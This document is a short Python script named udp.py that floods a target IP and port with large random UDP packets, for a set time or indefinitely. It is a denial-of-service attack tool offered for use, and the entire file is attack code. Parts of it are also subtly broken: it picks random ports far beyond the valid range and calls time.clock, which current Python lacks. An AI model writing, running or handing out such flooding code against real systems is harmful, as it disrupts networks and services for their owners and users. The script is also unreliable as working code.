udp.py

#!/usr/bin/python
import socket,random,sys,time
 
if len(sys.argv)==1:
    sys.exit('Usage: udp.py ip port(0=random) length(0=forever)')
 
def UDPFlood():
    port = int(sys.argv[2])
    randport=(True,False)[port==0]
    ip = sys.argv[1]
    dur = int(sys.argv[3])
    clock=(lambda:0,time.clock)[dur>0]
    duration=(1,(clock()+dur))[dur>0]
    print('UDP: %s:%s for %s seconds'%(ip,port,dur or 'infinite'))
    sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
    bytes=random._urandom(65500)
    while True:
        port=(random.randint(1,15000000),port)[randport]
        if clock()<duration:
            sock.sendto(bytes,(ip,port))
        else:
            break
    print('DONE')
UDPFlood()